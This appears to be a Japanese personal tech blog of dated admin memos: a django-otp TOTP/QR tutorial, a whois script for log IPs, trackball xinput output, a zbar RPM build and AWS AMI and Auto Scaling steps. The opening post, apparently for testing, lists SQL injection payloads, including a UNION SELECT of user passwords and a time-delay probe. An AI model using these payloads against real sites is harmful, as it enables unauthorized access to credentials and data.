2025年1月31日金曜日

SQLインジェクション検証

' OR '1'='1
' OR '1'='1' --
' UNION SELECT null, null, user, password FROM users --
'; WAITFOR DELAY '00:00:10' --

2025年1月20日月曜日

MFA totp django-otp

 


Djangoでdjango-otpを使用して新たにQRコードを生成し、二要素認証を実装する方法について説明します。


1. 必要なパッケージのインストール

まず、以下のパッケージをインストールします。


bash

コピーする

編集する

pip install django-otp qrcode[pil]

django-otpはワンタイムパスワードのサポートを追加し、qrcodeはQRコードの生成に使用します。


2. Djangoプロジェクトの設定

settings.pyにdjango_otpとdjango_otp.plugins.otp_totpを追加します。


python

コピーする

編集する

INSTALLED_APPS = [

    # 既存のアプリケーション

    'django_otp',

    'django_otp.plugins.otp_totp',

]

これにより、TOTP(Time-based One-Time Password)のサポートが有効になります。


3. モデルの作成

ユーザーごとにTOTPデバイスを管理するため、TOTPDeviceモデルを作成します。


python

コピーする

編集する

from django_otp.plugins.otp_totp.models import TOTPDevice


# ユーザーに関連付けられたTOTPデバイスを作成

device = TOTPDevice.objects.create(user=user)

TOTPDeviceは、ユーザーごとに一意のシークレットキーを生成し、QRコードの生成に使用されます。


4. QRコードの生成

qrcodeライブラリを使用して、生成されたシークレットキーからQRコードを作成します。


python

コピーする

編集する

import qrcode

from io import BytesIO

from base64 import b64encode


# デバイスの設定URLを取得

config_url = device.config_url


# QRコードを生成

qr = qrcode.QRCode()

qr.add_data(config_url)

qr.make(fit=True)


# 画像をメモリに保存

img = qr.make_image(fill='black', back_color='white')

buffer = BytesIO()

img.save(buffer, format='PNG')

buffer.seek(0)


# 画像をBase64でエンコード

img_str = b64encode(buffer.getvalue()).decode()

このコードにより、QRコードの画像データがBase64形式でエンコードされ、テンプレートで表示可能になります。


5. テンプレートでの表示

生成したQRコードをテンプレートで表示するには、以下のようにします。


html

コピーする

編集する

<img src="data:image/png;base64,{{ img_str }}" alt="QR Code">

これにより、ユーザーはQRコードをスキャンして認証アプリに追加できます。


6. 認証の検証

ユーザーが認証アプリで生成したトークンを入力した際に、それを検証する必要があります。


python

コピーする

編集する

# ユーザーのデバイスを取得

device = TOTPDevice.objects.get(user=user)


# トークンの検証

if device.verify_token(token):

    # 認証成功

    ...

else:

    # 認証失敗

    ...

verify_tokenメソッドは、ユーザーが入力したトークンが正しいかどうかを確認します。


参考資料

Django OTP TOTP - how to display QR code in template

django-otp 公式ドキュメント

Djangoで、二要素認証を、Google認証システムを使って実装。

pyotpでワンタイムパスワードを試してみる

Custom Two-factor with Qrcode in django

【Django】django-otpで多要素認証(二要素認証)を実現させる

IPアドレスからプロバイダ検索

$vi cmd __EOF__
#!/bin/bash
while IFS= read -r ip; do
if [[ -n "$ip" ]]; then
# whois コマンドで CustName を取得
cust_name=$(whois "$ip" | grep -i 'CustName' | awk -F: '{print $2}' | xargs)
# CustName が見つからない場合、OrgName を試す
if [[ -z "$cust_name" ]]; then
cust_name=$(whois "$ip" | grep -i 'OrgName' | awk -F: '{print $2}' | xargs)
fi
# CustName が見つからない場合、descr を試す
if [[ -z "$cust_name" ]]; then
cust_name=$(whois "$ip" | grep -i 'descr' | head -n 1 | awk -F: '{print $2}' | xargs)
fi
echo "$ip, $cust_name"
fi
done
__EOF__
chmod a+x cmd
cat /var/log/httpd/access_log* |grep "GET /office/cti"|cut -d" " -f 1|sort|uniq||.cmd

2025年1月6日月曜日

トラックボール

$ xinput --get-button-map 12

device has no buttons

[takahab@rocky92 ~]$ xinput list

⎡ Virtual core pointer                    id=2 [master pointer  (3)]

⎜   ↳ Virtual core XTEST pointer              id=4 [slave  pointer  (2)]

⎜   ↳ 2.4G Mouse Consumer Control              id=9 [slave  pointer  (2)]

⎜   ↳ ELECOM IST TrackBall Mouse              id=11 [slave  pointer  (2)]

⎜   ↳ 2.4G Mouse                              id=14 [slave  pointer  (2)]

⎜   ↳ ELECOM IST TrackBall Consumer Control    id=15 [slave  pointer  (2)]

⎜   ↳ Getech HUGE TrackBall                    id=18 [slave  pointer  (2)]

⎣ Virtual core keyboard                    id=3 [master keyboard (2)]

    ↳ Virtual core XTEST keyboard              id=5 [slave  keyboard (3)]

    ↳ Power Button                            id=6 [slave  keyboard (3)]

    ↳ Video Bus                                id=7 [slave  keyboard (3)]

    ↳ Power Button                            id=8 [slave  keyboard (3)]

    ↳ 2.4G Mouse Consumer Control              id=10 [slave  keyboard (3)]

    ↳ ELECOM IST TrackBall System Control      id=12 [slave  keyboard (3)]

    ↳ 2.4G Mouse                              id=13 [slave  keyboard (3)]

    ↳ ELECOM IST TrackBall Consumer Control    id=16 [slave  keyboard (3)]

    ↳ 2.4G Mouse System Control                id=17 [slave  keyboard (3)]

    ↳ Getech HUGE TrackBall                    id=19 [slave  keyboard (3)]

[takahab@rocky92 ~]$ xinput --get-button-map 11

1 2 3 4 5 6 7 8 9 

[takahab@rocky92 ~]$ xinput query-state 11

2 classes :

ButtonClass

button[1]=up

button[2]=up

button[3]=up

button[4]=up

button[5]=up

button[6]=up

button[7]=up

button[8]=up

button[9]=up

ValuatorClass Mode=Relative Proximity=In

valuator[0]=4918

valuator[1]=2589

valuator[2]=0

valuator[3]=-15

[takahab@rocky92 ~]$ 



2024年12月5日木曜日

zbar インルトール  zbar rpm作成

【amazon linux2023 へインストール】
sudo dnf groupinstall "Development Tools" -y
sudo dnf install libjpeg-devel libpng-devel -y
sudo dnf install ImageMagick ImageMagick-devel -y
sudo dnf install gtk3pwd-devel -y
cd /tmp
git clone https://github.com/mchehab/zbar.git
cd zbar
sudo dnf install automake autoconf libtool -y
autoreconf -i
./configure -prefix=/usr
make
make install


sudo dnf install rpm-build rpmdevtools -y
rpmdev-setuptree
cd ~/rpmbuild/SOURCES
wget https://github.com/mchehab/zbar/archive/refs/tags/0.23.tar.gz -O zbar-0.23.tar.gz
※上記wgetで取得してものは、buildできなかった為、gitを取得。
    git clone https://github.com/mchehab/zbar.git
    mv zbar zbar-0.23
   tar cvzf zbar-0.23.tar.gz zbar-0.23

cd ~/rpmbuild/SPECS
nano zbar.spec <<__EOF__
Name:           zbar
Version:        0.23
Release:        1%{?dist}
Summary:        Barcode reader

License:        GPLv2+
Source0:        zbar-0.23.tar.gz

BuildRequires:  gcc, make, pkgconfig, libjpeg-devel, libpng-devel
Requires:       libjpeg, libpng

%description
ZBar is a suite of programs for reading bar codes from various sources.

%prep
%setup -q

%define debug_package %{nil}

%build
# CMakeを使用する場合
#mkdir build
#cd build
#cmake ..
#make

# または、autotoolsを使用する場合
autoreconf -i
./configure --prefix=/usr --libdir=/usr/lib64
make

%install
mkdir -p %{buildroot}/usr/bin
mkdir -p %{buildroot}/usr/lib64
rm -f debugsourcefiles.list
make install DESTDIR=%{buildroot} LIBDIR=/usr/lib64

%files
/usr/bin/zbarimg
/usr/bin/zbarcam
/usr/lib64/libzbar.so*
/etc/dbus-1/system.d/org.linuxtv.Zbar.conf 
/usr/bin/zbarcam-gtk
/usr/include/zbar.h
/usr/include/zbar/Decoder.h
/usr/include/zbar/Exception.h
/usr/include/zbar/Image.h
/usr/include/zbar/ImageScanner.h
/usr/include/zbar/Processor.h
/usr/include/zbar/Scanner.h
/usr/include/zbar/Symbol.h
/usr/include/zbar/Video.h
/usr/include/zbar/Window.h
/usr/include/zbar/zbargtk.h
/usr/lib64/libzbar.a
/usr/lib64/libzbar.la
/usr/lib64/libzbargtk.a
/usr/lib64/libzbargtk.la
/usr/lib64/libzbargtk.so
/usr/lib64/libzbargtk.so.0
/usr/lib64/libzbargtk.so.0.0.2
/usr/lib64/pkgconfig/zbar-gtk.pc
/usr/lib64/pkgconfig/zbar.pc
/usr/lib64/python3.9/site-packages/zbar.la
/usr/lib64/python3.9/site-packages/zbar.so
/usr/share/doc/zbar/ABOUT-NLS
/usr/share/doc/zbar/COPYING
/usr/share/doc/zbar/HACKING.md
/usr/share/doc/zbar/INSTALL.md
/usr/share/doc/zbar/LICENSE.md
/usr/share/doc/zbar/NEWS.md
/usr/share/doc/zbar/README.md
/usr/share/doc/zbar/TODO.md
/usr/share/locale/pt_BR/LC_MESSAGES/zbar.mo
/usr/share/zbar/lib/libzbarjni.a
/usr/share/zbar/lib/libzbarjni.la
/usr/share/zbar/lib/libzbarjni.so
/usr/share/zbar/lib/libzbarjni.so.0
/usr/share/zbar/lib/libzbarjni.so.0.0.0
/usr/share/zbar/lib/zbar.jar


%changelog
* Wed Dec 04 2024 Your Name <takahab@example.com> - 0.23-1
- Initial RPM release
__EOF__
rpmbuild -ba zbar.spec


2024年12月4日水曜日

オートスケール下のEC2の更新

1) 新AMI作成
  AMI公開の項参照。

2) AMI コピー
 タグをコピー
 AMI コピーのEBSスナップショップを暗号化→arn:aws:kms:ap-northeast-1:725797520659:alias/aws/ebs

3)Auto Scaling グループ →グループ選択→起動テンプレート→テンプレート変更(新しいバージョンを作成)
  説明      XXX-AL2023-officecvN-2024-12-09-ver.0.0.5
         EC2 Auto Scalingのガイダンス:チェック
        ソーステンプレート→確認のみ
        AMI:新AMIを選択
  インスタンスタイプ→T3.small   
       キーペア→確認
   サブネット:起動テンプレートの設定に含めない。
   セキュリティグループ→確認のみ
      ストレージ確認
  高度な詳細→IAM員タンスプロフィール→該当サーバのプロフィール設定
     高度な詳細→メタデータのバージョン→V2のみ

5)Auto scaling →起動テンプレート→編集
  バージョン設定→更新
        
6)Auto Scaling グループ→インスタンスの更新
  インスタンスの更新を開始
  可用性を優先 /  ●コストを優先 /  カスタム
       チェックポイントを有効にする。20%
       起動テンプレートを更新する。→ 確認
  自動ロールバックを有効にする。

2024年12月2日月曜日

AMI 公開

1) Key Managment Service
  対象・暗号化および復号化・KMS・単一リージョンキー
  alias: xxxx-AL2023-xxxxsv-copy-2024-12-02
  管理者選択
  キーユーザ
  追加アカウント ←ここに追加

2) AMI→ストレージ→snap→アクション→スナップショットコピー
  KMSキー設定( xxxx-ami-key-officesvN1-for-copy )
         Name  REL_CXD_AL2023-officesvN-2024-12-26

3)   snap→共有権限→アカウントIDを追加→追加→アクセス許可を変更

4) 新Snap→スナップショットからイメージ作成
  イメージ名:CXD-AL2023-officesvN-2024-12-26
  説明:   CXD-AL2023-officesvN-2024-12-26
        ルートデバイス:/dev/xvda
         ブロックデバイスマッピンング→ボリューム→サイズ→50GB/gp3/3000/125
         タグオプション→Name→REL_CXD-AL2023-officesvN-2024-12-26

5) AMI→AMI許可を編集→アカウント追加→AMIを共有→変更を保存
        アカウント許可を作成するときに、関連付けられたスナップショットに [ボリュームを作成] の許可を追加します。







SQLインジェクション検証

' OR '1'='1 ' OR '1'='1' -- ' UNION SELECT null, null, user, password FROM users -- '; WAITFOR D...